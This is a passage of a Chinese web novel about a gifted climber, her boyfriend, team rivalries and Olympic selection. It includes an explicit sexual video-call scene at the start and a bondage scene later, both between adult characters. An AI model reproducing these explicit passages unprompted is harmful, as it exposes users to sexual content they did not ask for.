浑圆饱满的胸脯泄出曼妙的轮廓。 黎星言瞪大双眼,身体随之起了反应。 “你你你……勾引我!” “那你上钩了吗?”云媞明知故问。 “不勾我都一直被你钓着,现在略施小计,我就成濒死的鱼了……” 看得到吃不到,最令人抓心挠肝。黎星言自暴自弃地翻了个身,平躺在床上压住下腹,闷闷道:“坏媞媞。” “先别死,”云媞轻笑,“黎导演不是最会想象和移情了么?” 她单手撑着脑袋,露出小猫想法子捉弄人时的狡黠。 “那你想象一下,我就在你床边。下一步你想做干什么?” “想把你压在身下,亲你!” 云媞循循善诱道:“亲哪里?” 她指尖轻点唇瓣,“这里?” 缓缓移到锁骨,“这里?” “还是这里……” 随着镜头往下,纤细指尖划过贴身的训练服。 像是会施法术的魔女,她手指所到之处,一切束缚都被剥去,在黎星言眼中还原出最本真的样态。 “看你这副模样……” 见他脸上染上不自然的潮红,素来清亮的眼眸也变得迷蒙,云媞收手,不怀好意地指向镜头,“好吧,摸摸可怜的小狗吧。” 黎星言闷哼一声,也跟着喃喃道:“媞媞主人,摸摸黎小狗吧。” “不过我最近教训量大,指腹长了好多厚厚的手茧,摸上去可能不太舒服,”引诱一般,云媞压低声音,认真问道,“可以吗?” 那只骨节分明的修长手指微微晃动,仿佛穿透屏幕,顺着镜头触到黎星言肌肤上,蜿蜒而下。 如同雨林粗糙的藤蔓缠绕初绽的花茎,那种微妙的刺痛与依附感,预示着两种截然不同的生命形态之间的试探与交融。 也像雪山裸露在外的风蚀岩层,粗粝纹路在新雪上的每一次碾磨,都能诱发冰层深处最隐秘的回响。 更像金合欢树茎杆的韧皮,深深浅浅的沟壑深埋于沃土,散发出地心的燥热。 想象覆着厚茧的指腹用力碾过顶端。 电流般窜动的、带着颗粒感的酥麻,沿着神经末梢,一路蔓延,在暗涌的潮汐间擦出细小的火星与低吟。 顶着那张漂亮脸蛋做起快慰的事儿,也丝毫不见污浊腥秽,反而像一部文艺情爱片,晦涩、潮湿而轻盈。 云媞默默欣赏片刻,心也跟着痒起来,“看来小狗很喜欢这种游戏?” “嗯……喜欢。” 黎星言意犹未尽地慵懒靠坐在床头,湿漉漉的眸子里透出发现新大陆的惊奇,“很喜欢媞媞主人这样调.教小狗!” 云媞正欲说话,没戴蓝牙耳机的左耳骤然听到一丝细响。 紧接着是刻意压低的脚步,很快,那道窸窣声越靠越近,几乎抵在更衣间的门板。 垂眸,光洁的地板上浮出外面晃动的阴影。 一门之隔,有人正在偷听。 “难道媞媞没有动情吗?”黎星言眼巴巴戳了戳屏幕,“要是我在你身边就好了……” 云媞淡然收回视线,“那你会做什么?” 他害羞地摸了摸发烫的耳垂,眼底却很强势,“检查你……现在有没有湿。” “没有。” “骗人。”黎星言歪着脑袋,笑得格外勾人,“那我就把你舔湿。” 云媞笑出声,站起身,靠在门旁,“这么喜欢舔人,还真是小狗啊,叫两声来听听?” “汪汪汪!” “不是这种叫,”云媞眨了眨眼,“是在床上的那种。” 门外一声踉跄,兵荒马乱。 伴着耳机里缠绵旖旎的轻哼,云媞径直拉开门。 一道身影慌乱逃窜,不过数秒,又镇定下来。 陈祉希站在柜格前,背朝云媞,佯装无事发生。 如果她的耳根连着脖颈,不那么红的话。 “媞媞?怎么了?”黎星言察觉到异常,还未完全褪去的情欲中扯出一抹紧张。 “没事儿,有个女孩对成人话题很感兴趣,”云媞直直盯着陈祉希的背影,“躲在门后偷学呢。” “谁偷学啊!谁对你们这种事感兴趣啊!”陈祉希倏地转身,面红耳赤地反驳,“你有没有一点羞耻心!” 云媞淡淡瞟了她一眼,垂眸轻声对黎星言说:“等会儿再聊。” 说罢,她径直挂断电话,摘下一只耳机,不紧不慢地笑看陈祉希,“那你承认自己躲在门后咯。” “我、我没有!” 陈祉希显然是不太会撒谎的单纯女孩,她不敢直视云媞的眼睛,躲闪着含混其词,“这又不是你一个人的更衣室,你这么大声说那种不堪入耳的事情,就不怕别人听到说闲话吗?” “很大声?”云媞疑惑偏头,“既然大声的话,你还需要躲在更衣间门后偷听吗?” “还有,谁说闲话,你吗?毕竟这里只有你偷听到了,你可千万要守口如瓶啊。” 知道自己有错在先,陈祉希脖子一梗,小声嘟囔:“我才不会说出去。” “乖女孩。” 云媞笑着轻轻拍了拍她的头顶,单手拾起背包甩到肩上,往外走去。 陈祉希红着脸,嘴角嗫嚅几下,在她跨门而出的前一刻硬着头皮喊道:“喂!” 待云媞灼灼的目光看过来,她的脸更烫了,偏开视线说:“就算你现在的成绩无人企及,但也不代表你能永远站在最高峰,总有一天我会超过你的!” 这句话,似乎成了小姑娘的执念,从云媞入队开始就听过无数遍,耳朵都快起茧了。 她以为陈祉希又要如往常一样放狠话,然后像河豚似的气鼓鼓地跑去训练场,再给自己高压加训到深夜。 谁知,陈祉希第一次在这句话后又多加了一句。 “所以你不要再这么散漫,消耗自己的天赋,却花那么多时间在男人身上了,他有什么好的。要是因为他影响了自己的成绩,到时候别怪我狠狠耻笑你!恋爱脑!” 说完,小姑娘羞愤地抱着水壶,先她一步冲出更衣室。 良久,云媞才回过神。 啊?恋爱脑?我吗? * 三点触岩、动态起势、交替攀登、拍铃…… 空荡荡的岩馆,一道迅捷的身影在垂直岩壁上反复登顶、冲坠。 此时已是深夜,馆外漆黑一片,馆内静谧无声。 只有岩壁装置那小块区域亮起一束顶灯,照在瘦小而倔强的身影上。 仿佛是独属于一个人的舞台。 陈祉希双脚机械地交替踩踏着不断下移的岩点,如同陷入永无止境的攀登循环。 汗水早已浸透运动背心,紧紧贴在单薄的脊背上。 顺着保护绳滑落时,她怔怔看着顶上的电子计时器。 6′23″。 这是她训练以来,爬出的最好成绩。 尽管这个成绩已是国际历史上有望冲冠的佳绩,但陈祉希并不满足。 她始终无法突破六秒大关。与云媞差了近两秒。 是的,经过系统训练,云媞已经爬出了四秒多的惊人速度。 更可气的是,与陈祉希专攻速度攀岩不同,速攀并不是云媞的主项,她在其余两项的发挥上也恐怖如斯。 静静坐在阶梯上,陈祉希陡然生出一股强烈的挫败感。 她气恼地将水壶摔了出去。 “砰、砰、砰。” 杯口的小盖被砸掉,所幸壶里已经没水了,瓶身在地上弹了好几下,最后停在一双黑色运动鞋前。 “小希,还在训练呢?” 突如其来的声音吓得陈祉希猛地抬头,见是隔壁男队的,又松了口气。 顾教练不让她们私自加训,担心防护不当,导致身体受伤。 朱元义盘腿坐下,将水壶还给她,随后扭头看了眼 计时器上的数字,“真厉害,又进步了好多。” 懒得搭理,陈祉希起身正要离开。 “我觉得你比云媞厉害多了。” 她脚步一顿,垂眸,俯视身旁的男人。 “她不就仗着自己有点天赋吗,成天吊儿郎当,眼高于顶,我敢说就她这种训练态度,总有一天会被你甩在身后!” 见对面小姑娘一直紧皱的眉头缓缓舒展开,朱元义咧嘴笑道:“昙花一现的天才多得是,能走到最后的有几个?我相信,我们小希妹妹才是奥运冠军的不二之选。” “对我们女队的事情这么关心吗?”陈祉希问。 “也不是关心女队……”朱元义羞赧地挠了挠后脑勺,飞快瞟了她一眼,“是、是关心你。” 陈祉希冷笑,“那你可以割掉金针菇后,加入我们女队,欢迎和我做姐妹。” 说罢,她不再看对方是什么表情,径直将水壶精准投进一侧的垃圾桶。 背对他说:“老叔,我未成年,你想进局子的话,我不介意帮你一把。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 90-96 第91章 针对云媞的专项训练逐步奏效。 自从她学会如何辨别起攀铃声,很少抢跑后,在速攀项目上所向披靡。 至于攀石和难度攀岩两项,她已能够将强大体力与技巧完美结合,其他选手更是难以望其项背。 这种超神现象,导致队内许多运动员们的训练热情一度很是低迷。 为了创造好的训练环境,维持队内良性竞争,也避免云媞受到小群体针对或挤兑,影响比赛心态。 当别人还在拼尽全力、再创新高时,顾成玉已经开始教导她进入nextlevel——收敛锋芒。 况且云媞一战成神的首秀引起国际攀岩圈关注,可想而知,将来她必定会成为各国冠军种子选手争相研究的对象。 好在攀岩不像乒乓球赛那样,能通过研究对手擅长及薄弱的环节,有针对性和战略性地逐个攻破。 攀岩很大程度上是与自身的较量,不易受赛场上其它运动员的影响。 所以,云媞只需保持好状态,确保常态训练中身体无碍,在后续系列积分赛中正常发挥,极有可能入选今年的奥运会参赛名单。 …… 冬训两个月,运动员们远在大洋彼岸,无法归家过年。 队内竞争压力也大,有些年纪尚小的女孩情绪上头,躲在更衣室偷偷哭鼻子。 知晓情况后的顾成玉是既当爹又当妈,还要兼顾心理辅导师。 刚给一个小姑娘疏导完,一进训练基地,就看见云媞满脸沉重地坐在休息区。 “怎么啦?”顾成玉笑着拍拍她的后背。 “顾教练,我不想练了。”!!! “咋的了祖宗!为什么这么突然?是谁说了什么吗?” 顾成玉瞬间敛了笑,挨着她坐下。 老实说,她从未担心云媞会心态崩掉,因为云媞几乎是她见过的、接触过的所有人中,情绪最稳定的那一个。 有时,顾成玉甚至怀疑她究竟是不是人类,哪有像她这样半大的小姑娘能做到这般宠辱不惊、云淡风轻的。 所以,陡然听到云媞说“不想练了”,顾成玉慌了神,“有什么想法或意见,咱先沟通一下……” “无聊,”云媞淡淡地说,“没有意思。” 这六个字让顾成玉回味了好一会儿,再结合对方索然无味的表情,她恍然大悟。 嗐!好嘛!无敌是多么寂寞。 找不到势均力敌的对手,也没有推陈出新的高难度线路,被日复一日的体能训练淹没的云媞,提前步入倦怠期。 用“好胜心”和“好奇心”刺激云媞加入攀岩队时,顾成玉就想过有这一天。 只是,她没想到,云媞这倦怠期来得也太早了些。 “不想练,那咱今天就别练了呗,”顾成玉故意装作听不懂她在说什么,“天天瞅着这些玩意儿,也确实没劲。” 打太极?云媞不会。 她直截了当地表示:“以后也不练了,我要走了。” 停顿数秒,又补充一句:“你说奥运会有很难的路线,那我奥运会再来吧。” “噗嗤。” 顾成玉被逗乐了,都顾不得自身形象,当场笑得前俯后仰。 说她狂吧,她确实有狂的资本。 说她聪明吧,但在某些事情上又傻得可爱。 “你当奥运会是欢乐谷呢,想进就进啊!” 好在云媞还有进奥运会的兴趣,说明并非全然厌恶攀岩这件事,只是不喜欢重复刻板的日常训练而已。 用手背揩掉眼角沁出的水渍,顾成玉轻咳几声润嗓,“只有那些有真实力的稳定选手,才能获得国际舞台的入场券。” “你有实力,没错,但你能保证永远不出错吗?持之以恒的日常训练,能尽可能地规避那些偶发性错误。” 想起网上形容云媞“像神秘又强大的花豹”,顾成玉决定用更通俗易懂的方式劝说:“如果说你是一只花豹……” 云媞骤然抬眸。 顾成玉暗喜,还以为自己的话起了作用,越发滔滔不绝。 世人只看到纪录片中的花豹神出鬼没、优雅强大,把这些都归功于顶级掠食者与生俱来的天赋。 而事实上,只有最后逆袭成强者的,才配作为纪录片的主角。 “那些先天不足、三天打鱼两天晒网的,能成为主角吗?如果不是前期日复一日训练捕猎,你说,花豹它能成为百兽之首吗?” “……花豹不是百兽之首。” “我说是它就是!” 云媞沉默半晌,笑道:“行。” “我是。” 顾成玉满意点头,“你难道不想见见其他国家那些顶级选手吗?还有全球高级定线员们的得意之作?” 见对方表情松动,她趁热打铁,“熬过枯燥乏味的集训,等三月份各大积分赛开始,你就可以大放异彩了!” 不得不说,在拿捏人心态这方面,身经百战的顾成玉已经锻炼得炉火纯青。 随着集训升级,国际教练及定线员加盟,一潭死水的训练氛围被搅活后,云媞又重新找到了挑战未知的激情。 期间,放寒假的黎星言远渡重洋,陪她过年。 作为半封闭集训,运动员们无法随意回国,但也没规定家属不能主动飞过来探望。或许是家境、时间、精力不允许,整个冬训期间极少有运动员家属露面。 然而,黎小少爷就不一样了,这些他都有! 最富有最旺盛的,当属对老婆日思夜想的爱! 在训练基地附近租了间公寓后,黎星言就这么死皮赖脸地驻扎于此。 受顾成玉特地关照,他被允许白天趴在场馆玻璃窗外看云媞训练,晚上入馆接人回家。 一来二去,其他运动员也和黎星言混熟了。 他长得实在漂亮,不犯浑不毒舌时,性子绝对算得上阳光开朗,更重要的是他出手阔绰、为人大方,所以挺受大家欢迎。 于是,悄无声息的,贤内助黎小少爷竟帮不善社交的云媞积累了一波口碑,缓和她在队内“高不可攀”的形象和紧张关系。 对此黎星言别提多高兴了,自己就像披荆斩棘、驰骋沙场的大将军……养在家中能歌善舞、八面玲珑的宠妻。 打仗的事他一窍不通,帮媞将军笼络人心他还做不到吗!别小瞧了我们温柔小意的家养男! 不过很快,黎星言发现队里有个小姑娘似乎特别讨厌他,每次遇见总会冷下脸、一脸嫌恶的表情。 小狗受伤了,借机哒哒跑到主人面前撒娇告状。 “什么人啊,要不是看在她是媞媞队友的份上,我早就怼得她找不着北了!” 一米八几的大高个就倒就倒,侧靠在云媞脖间,一副柔弱无法自理的娇气样,“媞宝宝,你可要为我做主啊……” 云媞刚爬完一条难度较大的线,脖上都是汗,她笑着微微后缩,“脏。” “你嫌我脏!”黎星言瞪圆眼睛。 “我说我脏,”云媞无奈,“没看见我身上有汗吗?” “那咋了,香汗淋漓!” 要不是老婆拦着,他能直接帮她擦干净,用舌头。 心里过过嘴瘾得了,黎星言可不敢真给老婆舔应激了。 他拾起毛巾,细细拭去云媞脖间的汗水,然后再用消毒湿巾揩掉她手上残留的镁粉。 看着指腹那些深浅不一的厚茧,黎星言百感交集,掌心覆上去后轻轻碾磨。 良久,他敛眉垂眸,微不可察地叹了一口气,眼底的心疼不言而喻。 “怎么?还在回味昨晚呢?”云媞拍开他的手背。 刚酝酿出的感伤氛围顿时烟消云散,取而代之的是旖旎春情。 昏黄的壁灯,倾倒的酒架,冰凉的吧台…… 那双粗粝的、布满手茧的指尖,在身上一寸一寸游走时,所带来的触及灵魂的颤栗…… 黎星言俊脸一红,满脑子被黄色画面占据。 本来是在心疼云媞训练强度太大,这下真成“凶手”指认“作案工具”了。 “你、这、我……唉!” 伤春悲秋的念头被当场遏止,黎星言欲言又止,羞恼地攒住云媞的手腕,随后十指相扣,“回家回家!” 直女媞不明白小少爷怎么又突然急了,不过也早已习惯,任由他牵着自己往外走。 刚出场馆大门,与陈祉希迎面碰上。 “这就要走了?” 超不经意地瞪了黎星言一眼后,陈祉希用略带指责的语气直剌剌问云媞:“你今天的训练量达标了吗?” 一听这话,黎小少爷不乐意了。 嘿,给你脸了是吧!什么时候轮得到你个小丫头置喙我老婆了? 他算是想明白了,难怪这小姑娘一直对自己没有好脸色,原来是和媞媞有过节。 想来以前也没少暗中使绊子、欺负小可怜媞宝。 “不走留下来陪你过年吗?” 黎星言体内的恶犬基因爆发,咄咄逼人道:“没能力的才看重训练量,我家媞媞以质取胜,这玩意儿您有吗?” 既没质,又没智。 陈祉希没想到这几天一直装得人模狗样、好好贤夫的黎星言,攻击性会这么强。她一时气急,脸憋到扭曲也找不出话去反驳。 “别生气别生气,你看看,面部线条都变了!”黎星言摇头咋舌,“想攀岩的可以去你脸上试试,赛级线路,非常崎岖。” 小姑娘哪里受过这种委屈,嘴一撇,抬手挡住眼睛,慌不择路地跑远了。 啧,不堪一击,一败涂地。 黎星言潇洒转身,像一只渴求主人摸头夸赞“goodboy”的大型犬,他朝云媞眨巴起漂亮眼睛,“看她以后再敢来媞宝宝面前大放厥词?来一次我咬一次!” 云媞忍俊不禁,声线中带着笑意,“她就是你说的那个总对你冷脸的运动员吗?” “对啊,她谁啊?拽得跟个二五八万似的,这里难道还有比我老婆更强的预备奥运冠军吗?” “那倒没有。” 云媞毫不谦虚,但也无意贬低队友,“她是陈祉希,才17岁,实力很不错。” 陈祉希?好熟悉的名字…… 第92章 半晌,黎星言嘴角一僵,全想起来了。 云媞攀岩首秀后,那场与她势均力敌的对手也被扒了出来。 是攀岩圈小有名气的后起之秀,也是制霸青少年速攀首位多年的种子选手,更是……云媞的粉丝。 甚至参加国家队选拔赛的前一天,陈祉希还在个人社交媒体平台转发了《迷踪》官号制作的「武替云媞片场跑酷特辑」,附加三个大大的爱心。 “完了,要不我等下跟她道个歉吧……” 云媞挑眉,没料到他是这个反应,“良心大发了?” “她是你粉丝……” 混圈到元老级别的超话大咖黎星言不知作何解释,“哎,媞媞你不懂,忠粉因爱生恨变成黑粉,是很棘手的一件事。” 更何况,很多粉丝天天在他微博评论区阴阳怪气,只是因为不满他作为“正宫姐夫”,夺得了云媞的爱。 黎星言心知肚明,也欣然接受。 毕竟,这么优秀的偶像名花有主,路过的狗也得被粉丝踹上一脚。 “算了,欺负未成年女孩更是罪加一等,我还是直接等死吧……”- 等死是不可能的。 找到陈祉希时,她正围着操场跑圈。 夜色已晚,路灯三两。 女孩奔跑的影子像水草一般,忽长忽短,时静时荡。 狭路相逢,云媞前进一步,她便后退一步。她往左,云媞也往左,堵得一直有意躲闪的陈祉希气急败坏。 “你干什么!” 她瞪眼,眸中闪起泪花,眼尾的微红昭示着她刚哭过。 云媞最见不得人哭,无论是黎星言、明娇娇,还是眼前的小姑娘,似乎人类一哭,猫科动物就会自乱阵脚,随即停止“作弄人类”的邪恶念头。 “……这是他刚做的饺子,听说你们过年都爱吃这个。” 烫手山芋般,云媞将食盒塞到陈祉希怀里,指向操场网围栏外的黎星言。 下一秒,一向矜贵傲慢的小少爷呈九十度深鞠一躬,再直起身时,面带歉意地双手作揖,嘴上振振有词。 隔得远,听不清他在说什么。 “什么意思?”陈祉希见了鬼似的,眉头紧蹙,“朝我下咒语吗?” “不是。他说你是我粉丝,他刚才误会你了,所以要替我挽回……” “谁、谁是你粉丝啊!”陈祉希脸唰得一下通红,“况且……早脱粉了!” “哦。”云媞无所谓地点头,“但我觉得你挺有实力,以后有空可以再比一下。” 陈祉希脸更红了。 走也不是,继续留在这儿也不是,踟蹰几个来回,最后她抱着热腾腾的食盒和自己,扭头往操场外跑去。 路过黎星言。 没等对方开口,陈祉希恶狠狠地低声警告:“要是敢耽误她训练,敢骗她结婚,放弃事业去做家庭主妇……我绝对饶不了你!” 说罢,踉踉跄跄地跑远了。 半晌,云媞慢悠悠踱步而来,“她说了什么?” “她说祝我们新年快乐,百年好合!” 云媞看破不说破,哼笑一声,径直踏出场馆。 不过数秒,黎星言屁颠屁颠跟上来,笑嘻嘻地包住她的手,牢牢攥紧。 “好了,现在终于可以安心过年了。这是我和媞媞度过的第一个新年呢……” 尽管没有国内张灯结彩、喜气腾腾的过年氛围,这个国家常年25°左右的气温,也冲散了记忆中有关“瑞雪兆丰年”的场景。 但黎星言坚信,这是他过的最特别、最重要的一年。 豹豹媞对人类这种近乎执念的仪式感不置可否,她并未觉得这一天和往常有何不同。 直到厚重的防盗门在背后合拢,发出沉闷的咔哒声,隔绝楼道里最后一点微弱的光线。 黑暗瞬间如浓稠的墨汁泼洒在玄关,紧接着,一股滚烫的力量不容分说地倾身压了上来。 后背被抵在冰凉坚硬的门板上时,云媞暗自挑眉。 看来新的一年到了,任由自己予求予取的黎小狗也开始学会反攻。 他带着一种近乎 凶狠的急切,是啃噬,是索取,是占有,牙齿碾磨着唇瓣,舌尖不容抗拒的力道撬开齿关,长驱直入,攻城略地。 就在云媞以为他要做出更近一步的动作时,黎星言倏地停下,灼热的唇舌伏在她的颈窝和耳垂肆虐,留下湿漉漉的水痕。 小狗的崛起只是暂时的,疯一阵后还得看主人的眼色行事。 “媞媞,训练一定很辛苦吧,你可以在我这里随意发泄……” 他挶起云媞的手腕往自己衣内探去。 白色衬衫领口崩开几粒扣子,细链碰撞的窸窣声骤起。 华丽的金色胸链贴在白皙如玉的胸膛上,勾勒出锻炼姣好的身材轮廓,细链蜿蜒隐入腹部之下。 云媞手痒,按动了一下。 隔着布料,掌心之物热烈跳动,像呼之欲出般打招呼。 “所以……你刚才一直都戴着这个?” 云媞讶异。 难怪拉他出门给陈祉希送饺子时,他犹犹豫豫、再三推脱,原来那时,他就已经偷偷戴上锁链,准备给自己一个惊喜。 是她不解风情,破坏了这出好戏。 ……不对。 应该是延长了这场好戏的高潮。 “嗯,出门太突然了,没来得及取下。” 黎星言眼睫微翘,带着黏稠潮湿的欲念,低哼道:“但这次……我有憋住。” 他反手从玄关柜中掏出一根同样质地的细链,将其中一头递给云媞,随后指了指脖间,“这个可以扣到这里。” 长时间摩擦,导致他细嫩的肌肤被磨得更加粉红。 想起黎星言在外面走动时,隐隐奇怪的体态和神色,云媞心下一动。 “咔哒。” 细链扣上,顺手轻拽。 “随意发泄?” 顺着她牵扯的动作,黎星言伏低身子,一副俯首称臣的驯顺模样。 “求之不得。”他笑得眉眼弯弯。 和爱的人,做.爱做的事,一年又一年。 * 开年后的日子过得飞快。 内部训练稳步推进,同时世界杯分站赛、世锦赛等各大攀岩赛事陆续拉开帷幕。 今年夏季奥运会将在M国举办,运动员们根据年度国际攀岩积分总和排名,公平争夺奥运资格。 于是,云媞开启刷题模式,在全球各地密集参赛。 离奥运会开幕不到半年时间,照理说冬季刚入选国家队的同批运动员们很难获得参赛资格,一是积分排名靠后,二是年轻运动员大赛经验不足,教练也会优先考虑老将们,以免浪费宝贵名额。 但架不住云媞这个天赋怪物,精力足、体能好、技巧佳,天生攀岩圣体。 国际排名从籍籍无名到一飞冲天,她只用了短短三个月不到。 最近一场世锦赛,云媞更是一举拿下世界冠军,提前锁定奥运席位,成为半路出家加入国家队后,耗时最短进军奥运的第一人。 …… 训练馆内。 空气凝滞闷热,氤氲着汗水蒸发出的咸腥味。 岩壁如巨人般矗立,上面密布着色彩各异、形态万千的岩点。 攀岩鞋在岩点上发出刺耳的摩擦声,运动员们拼力攀爬,抬手时肌肉绷紧、鼓胀,汗水沿着鬓角蜿蜒而下,最终沉重地砸在地垫上。 每一次身体奋力向上伸展,每一次脚尖绷紧寻找支点,每一次咬牙忍受指尖钻心的疼痛,都化为无声的呐喊,在这片被汗水浸透的空间里激烈碰撞、回响。 竞争之网无声收紧,如无形的绳索勒紧每个人的神经。 有限的国际大赛名额,如悬于头顶的利剑,让每一次训练中的模拟赛都弥漫着无声的硝烟。 老将们动作沉稳似磐石,经验是她们的铠甲。 可云媞却如初生牛犊,凭着一股近乎莽撞的爆发力与令人惊叹的柔韧性,在难度线上一次次刷新众人的认知。 那边,技术流代表陈露陷入苦战,指尖被粗糙的岩点磨得生疼,几次滑脱,挫败感几乎将她压垮。 终于,当云媞又一次在老将反复失败的难点处利落完成,火星被点燃了。 陈露一脚踹开地上的镁粉袋,在飞扬的白色尘雾中愤然离场。 “诶陈露?你做什么去?”顾成玉喊道。 “不练了!反正也参加不了奥运会!” 听男队那边说,名单已经出来了。云媞入选是板上钉钉的事儿。 连续两届为国出征,陈露每次都在刷新个人最好成绩,上届奥运会甚至打破华国难度攀岩项目历史记录,一举斩获铜牌。 人人都以为,这一届她会成为该项目的夺冠热门。 没想到现在连参赛名单都挤不进去。 老实说,陈露近年来的成绩不差,单看积分榜足够获得奥运资格,但队内竞争激烈,她发挥不算稳定,体能测试也表现平平。 每个国家男女队在各小项的参赛上限均为2人,若是没有云媞,自然能推经验丰富的陈露出去一战。 可偏偏出现了这个新人怪物,再加上老将队伍的方纯熙比她成绩更稳定,经过各教练综合考量,投票环节陈露以微弱差距遗憾落选。 顾教练早就知晓名单已定,却压着不说,什么意思? 怕人针对云媞、趁事未成定局之前给她的宝贝疙瘩下绊子? 陈露将更衣柜的铁门拉得噼啪作响。 “露露……” 方纯熙欲言又止。 “熙子,我不是针对你。” 陈露直截了当地说:“我只是觉得心寒!或许这就是我最后一届奥运会,我明明也不差,为什么就不能……” “别瞎说,怎么会是最后一届,你还要夺冠的呢。” 陈露苍白一笑,“别安慰我了。以我的岁数和身上的旧伤,今年没机会,以后更不会有了……” 她知道,这事怪不了云媞。 谁都喜欢有天赋还刻苦的好学生,饶是自诩公平公正的顾成玉也不例外。 从顾教练特地邀请云媞加入国家队时,她们这些老将就该警惕,自己是随时可能被换掉的陈旧血液。 “云媞还很年轻,以她的天赋和势头,总有一天会登上最高领奖台。可我……” 陈露垂下头,失魂落魄地反复揉搓着虎口的软肉,“就不能有一点人情和通融吗?好歹也为她效力了那么多年,还是这么铁面无私。” 方纯熙如鲠在喉,犹豫片刻,正要开口。 突然,更衣室外一阵喧哗。 有人急冲冲跑进来,翻箱倒柜。 “怎么了这是?”方纯熙忙问。 “云媞流血了!就刚刚她在爬那条新路线的时候……” 一切嘈杂渐渐模糊。 吕教练曾说过的话骤然浮现。 「小露啊,你是个夺冠的好苗子,投票时我可是力保了你,但没想到你顾教练每轮都没有选你,看得出她对云媞那小姑娘特别关照。」 「就差这么一票啊。哎,真是为你可惜……」 「不过离奥运会还有时间,你也不是完全没有翻盘的机会。万一哪个选手身体出现意外,给你替补上了呢是吧?还是不能掉以轻心,平时要多加训练,机会是留给有准备的人的……」 更衣室的人来来往往,外面闹闹哄哄。 陈露背对众人,静静凝视着储物柜里刚脱下的训练服。 她想,或许,自己的机会来了。 第93章 “怎么回事?哪里受伤了?” 顾成玉匆匆赶来,见云媞面色不佳、唇色煞白,瞬间心凉了一大截。 钢铁般无坚不摧的云媞,什么时候露出过这种难色。 这一刻,无数纷繁念头在顾成玉脑中横冲直撞。 不慎割到手了?腿受伤了?还是身体内部承受不住负荷……总不能是她怀孕了吧! 是了!云媞和黎星言正值热恋期,待在一起时每日黏黏糊糊、难舍难分,又都是热血方刚的年轻人。 特别黎小少爷那性子,一看就不是懂得节制的禁欲之人,保不准真的没做好保护措施…… 想到这里,顾成玉只觉天都塌了。 她对冠军 的执念早已烟消云散,更不像外界所说那般在乎所谓的“冠军教练”名号,她只希望用毕生所学,带领那些曾经和自己一样有天赋、有热爱、更有野心的年轻人,攀到他们人生的最高点。 不至于像自己一样,一步错步步错,在半山腰浑浑噩噩荒废那么多年。 不止云媞,所有女孩子都是她梦想的影子。 看着云媞身下的斑斑血迹,顾成玉欲言又止,最后认命般叹了口气,“去医院吧……” “没这么严重。”云媞捂着肚子,声音依旧中气十足。 “那你打算怎么办?你这孩子……” “什么怎么办,擦干净换条裤子不就得了,”想到明娇娇曾对自己说过的话,云媞逐字照搬,“你难道不是女人、没来过月经吗?” “啊?” 顾成玉回过味来,倒吸一口凉气,“所以……你只是来月经了,不是……” 是她关心则乱、想太多,竟忘了女运动员最基本的生理难关。 真服了。 顾成玉被自己气笑了,恼羞成怒般瞪向面前一脸无辜的小姑娘,“我他爹都绝经了,死丫头你满意了吧!” “那顾教练您看起来挺年轻啊。”云媞直愣愣回道。 “是!没结婚没生娃,可不保养得好啊……” 正要数落云媞连自己生理期都记不住,几个小姑娘拎着大箱小包跑过来。 “顾教练,媞姐,医疗箱急救包啥的都在这儿了!王医生说她在楼下,马上下来……” “不用了,你们几个带她去卫生间吧,”瞧这兴师动众的场面,顾成玉一时汗颜,“就大姨妈来了,没事儿。” …… 将身子处理干净,垫上同伴们给的卫生巾,云媞在马桶盖上坐了好一会儿。 铺天盖地、排山倒海的绞痛,像在胃腹缩紧的锁链。 这是她第一次痛经。 在荒岛那一个多月,她很幸运,没有来过月经。 即使重回现代社会,云媞的生理期似乎也和常人不太一样,经常三个月才来一次,一次持续两三天,除了量大,没有任何其他感觉。 这种异常还是黎星言最先发现的,原本以为是豹身化形带来的“反噬”,他不敢请外面的医生检查,生怕被人发现什么。 但家中交好的名医们反复看过几次,都说云媞身体各项指标非常健康,只能当成特殊体质长期观察。 巧的是,每次来月经时,黎星言都在身边,替她提心吊胆、忙前忙后。 一天下来,反倒是他会变得虚弱无力、胃腹阵痛,就好像为云媞承担了痛感似的。 这次或许因为黎星言不在,生理期异常提前,措手不及的云媞才第一次体会到“做女人的不易”。 待下腹的坠痛减轻一些,她拉开隔间门。 门外站着一溜儿队友。 “媞媞你没事吧?咋样了?” “是不是肚子疼?我那儿有布洛芬和益母草,喝点吗?” “有啥问题你就说,卫生巾够不?啊对了要不要试试棉条,运动时用这个更方便,不会漏……” 平日里只是点头之交、并不算熟络的女孩们叽叽喳喳,眼里满是担忧。 在感知方面,云媞比常人敏感得多。她察觉得出,面前这些女孩并非虚情假意。 她坦然笑道:“已经好很多了。” 自顾走出几步,云媞脚步一顿,扭头补了一句,“谢谢你们。” 女孩儿们愣怔片刻,你看看我我看看你,齐齐笑了。 “嗐!没事就好!你可是我们女队夺冠的希望之星呢!” 大家都在期待打一场漂亮的翻身仗。 谁带队、谁主攻不重要。 重要的是,要赢。 女队要赢。 …… 众人走后,最角落隔间的门骤然打开。 陈露面色沉重地走了出来。 原来只是生理期到了…… 并非发生意外、受了重伤。 机会似乎又溜走了。 但…… 陈露眸光一闪。 真的全然没有吗?- 仅休息了半小时,云媞重新投入训练。 既有天赋又稳进奥运的人,还忍着生理期的疼痛,这么刻苦勤奋,叫人情何以堪。 不少姑娘们自愧不如,被激励到了,纷纷重新投入日常训练中。 “完攀!” “完攀!” “完攀!” 此起彼伏的提示音在场馆各个角落响起。 女队又回到曾经欣欣向荣、干劲十足的状态。 闭馆之前。 陈祉希结束速攀组的专项训练,着急忙慌跑来询问云媞的状况。 她也听说云媞“大出血”的事情,当时吓得差点直接中断模拟赛,后知只是虚惊一场,才堪堪冷静下来。 “喏,给你的。” 径直放下一大袋东西,陈祉希坐到阶梯座位,佯装淡定地抱起超大水壶仰头喝水。 “什么啊……” 云媞狐疑地睨了她一眼,随手撩开袋口。 卫生巾、棉条、红糖姜茶、益母草颗粒、能量棒……光是布洛芬都有好几种样式。 “你这是扫货去了?” “我就在储物柜随便挑了几样,日常备着而已……” 嗯……类似的话,曾经还在bking阶段的黎小少爷也说过。 人类总是如此口是心非。 见云媞沉默不语,没有想要收下的意图,陈祉希以为她有所顾虑,磕磕巴巴解释道:“这些都是没拆封的,你要怕我动什么手脚,我可以先喝给你看……” 这位甚至还不如前期的黎星言有定力呢。 云媞低头笑了。 将袋子抱进臂弯,起身,“谢啦。” 话音未落,场馆门口响起两声喇叭声。 一辆豪车停在出口处。 车窗大开,露出三个笑盈盈的脑袋。 “媞媞!上车!”坐在副驾驶的明娇娇探头,挥手喊道。 